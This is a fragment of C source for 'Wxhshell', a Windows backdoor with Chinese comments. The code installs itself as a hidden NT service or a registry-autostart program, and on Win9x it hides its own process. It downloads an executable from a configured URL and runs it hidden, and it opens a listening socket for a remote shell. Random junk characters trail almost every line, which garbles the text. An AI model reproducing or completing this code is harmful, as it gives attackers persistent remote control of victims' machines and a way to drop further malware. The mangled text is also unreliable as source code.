PROCNTQSIP NtQueryInformationProcess; kI04<!
Het>G{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6C<GYzzo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0~_I9|FN
k:iy()n[
HANDLE hProcess; ollVg/z
PROCESS_BASIC_INFORMATION pbi; !mWm@}Ujg
~iiDy;"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i9rv8"0>
if(NULL == hInst ) return 0; Gg
GjBt
-R1;(n)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gaNe\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _,v?rFLE
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {/N8[?zML
ge%QbU1J
if (!NtQueryInformationProcess) return 0; 4Ozcs'}
DzA'MX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); htrtiJ1
if(!hProcess) return 0; eJn_gKWb
K?e16;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [~cz|C#
-OmpUv-O"
CloseHandle(hProcess); 1#;^Z3
=_3rc\0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eb6cL`#N
if(hProcess==NULL) return 0; &}C-W*
f,Z
$%ND5uK
HMODULE hMod; vA ZkT"
char procName[255]; @].!}tz
unsigned long cbNeeded; @p/"]zf
k#~oagW_Gw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AY"wEyNU
sUR5Q/Q
CloseHandle(hProcess); FqGMHM\J
i4WHjeo\
if(strstr(procName,"services")) return 1; // 以服务启动 nQ|($V1?W
Y`$\o
return 0; // 注册表启动 50A\Y)i_mZ
} 0wSy[z4V
g2^{+,/^K
// 主模块 v@2@9/
int StartWxhshell(LPSTR lpCmdLine) %qE"A6j
{ @}waZ?'
SOCKET wsl; +>2.O2)%q
BOOL val=TRUE; GcA|JS=>
int port=0; wL]#]DiE
struct sockaddr_in door; ob9od5Rf
7F]Hq
if(wscfg.ws_autoins) Install(); (d,OLng
:i
{;
81V
port=atoi(lpCmdLine); cD!E.2[
c05-1
if(port<=0) port=wscfg.ws_port; u0)9IZxc
vr?u=_%Z
WSADATA data; Pk(%=P,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P|lDW|}D@
O8v9tGZoh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R47y/HG,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S9nn^vsK
door.sin_family = AF_INET; UA]T7r@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1=9GV+`n
door.sin_port = htons(port);
}hm_Ws
5 b,|6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =|empv#
closesocket(wsl); #)48dW!n
return 1; n_Y7*3/b-o
} 0Krh35R_)F
@;y@Hf'Jv
if(listen(wsl,2) == INVALID_SOCKET) { $T66%wX
closesocket(wsl); o
/1+
}f
return 1; =WZ9|e
} nra)t|m
Wxhshell(wsl); -k2|`t _
WSACleanup(); ?|}qT05
d( ru5*p
return 0; ;l0%yg/}
%BMlcm7Ec
} :f_oN3F p
0yMHU[):~
// 以NT服务方式启动 7Lj:m.0O^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n;vZY
{ >o&%via}
DWORD status = 0; ?8< =.,r
DWORD specificError = 0xfffffff; I0x;rP
]:T:cO0_n
serviceStatus.dwServiceType = SERVICE_WIN32; y@2"[fo3~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; KyP@ hhj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +;pw^QB
serviceStatus.dwWin32ExitCode = 0; pzQc UG
serviceStatus.dwServiceSpecificExitCode = 0; E[zq<&P@
serviceStatus.dwCheckPoint = 0; saQo]6#
serviceStatus.dwWaitHint = 0; &t_TLV 8T
e} 7!A
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =;)=,+V~q
if (hServiceStatusHandle==0) return; Buq(L6P9r
E KN<KnU%
status = GetLastError(); K&gE4;>
if (status!=NO_ERROR) $83Qd
{ /P46k4M1U
serviceStatus.dwCurrentState = SERVICE_STOPPED; i|/G!ht^e
serviceStatus.dwCheckPoint = 0; /|h+,]<
>
serviceStatus.dwWaitHint = 0; YD9vWk\/
serviceStatus.dwWin32ExitCode = status; u$ci{<
serviceStatus.dwServiceSpecificExitCode = specificError; @;{ZnRv14
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{So
return; 7
TM-uA$
} k$#1T +(G
[ z/G
serviceStatus.dwCurrentState = SERVICE_RUNNING; Eg2jexl
serviceStatus.dwCheckPoint = 0; z-"P raP
serviceStatus.dwWaitHint = 0; v"%>ms"n
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r9b(d]
} Q[H4l({E
s,/C^E
// 处理NT服务事件,比如:启动、停止 O ]-8 %
VOID WINAPI NTServiceHandler(DWORD fdwControl) K *1]P ar;
{ 4"iI3y~Gw
switch(fdwControl) *r9D+}Y(4
{ At[SkG}b
case SERVICE_CONTROL_STOP: 9o P
serviceStatus.dwWin32ExitCode = 0; "qZTgCOY2
serviceStatus.dwCurrentState = SERVICE_STOPPED; FLkZZ\
serviceStatus.dwCheckPoint = 0; )?l7I*
serviceStatus.dwWaitHint = 0; b`DPlQHj
{ )u]=^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]+w 27!
} jG}nOI
return; f8f3[O!x
case SERVICE_CONTROL_PAUSE: yw7bIcs|#b
serviceStatus.dwCurrentState = SERVICE_PAUSED; meThjCC
break; Z
R~2Y?Wt9
case SERVICE_CONTROL_CONTINUE: 1sJz`+\
serviceStatus.dwCurrentState = SERVICE_RUNNING; E6T=lwOZ
break; 2pSp(@N3
case SERVICE_CONTROL_INTERROGATE: ajM\\a?
break; ]ERAt^$0
}; V@gG
x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =0;njL(7;
} sE{5&aCSR
dPV<:uO
// 标准应用程序主函数 5*90t{#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mT|r:Yr:
{ qkC{IBN92
QMX
// 获取操作系统版本 #BH]`A J
OsIsNt=GetOsVer(); X_rv}
GetModuleFileName(NULL,ExeFile,MAX_PATH); eE\T,u5:
KMl3`+i
// 从命令行安装 9>&p:+D
if(strpbrk(lpCmdLine,"iI")) Install(); &=T>($3r94
'*&V7:
// 下载执行文件 wLE|J9t%Ea
if(wscfg.ws_downexe) { o{hZjn-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3(*vZ
WinExec(wscfg.ws_filenam,SW_HIDE); i_`Po%
} W%9~'pXgB
h*Mi/\
if(!OsIsNt) { fNyXDCl
// 如果时win9x,隐藏进程并且设置为注册表启动 'fzJw
HideProc(); zpNt[F?~1
StartWxhshell(lpCmdLine); *kj+6`:CPs
} N?A}WW#
else K,P`V
&m?
if(StartFromService()) C&EA@U5X^
// 以服务方式启动 AnZy
oa
StartServiceCtrlDispatcher(DispatchTable); ~~p )_
else }<'ki
;
// 普通方式启动 4Y
G\<Zf
StartWxhshell(lpCmdLine); {8%KO1xB
!SLfAFcS
return 0; oIE3`\xS
}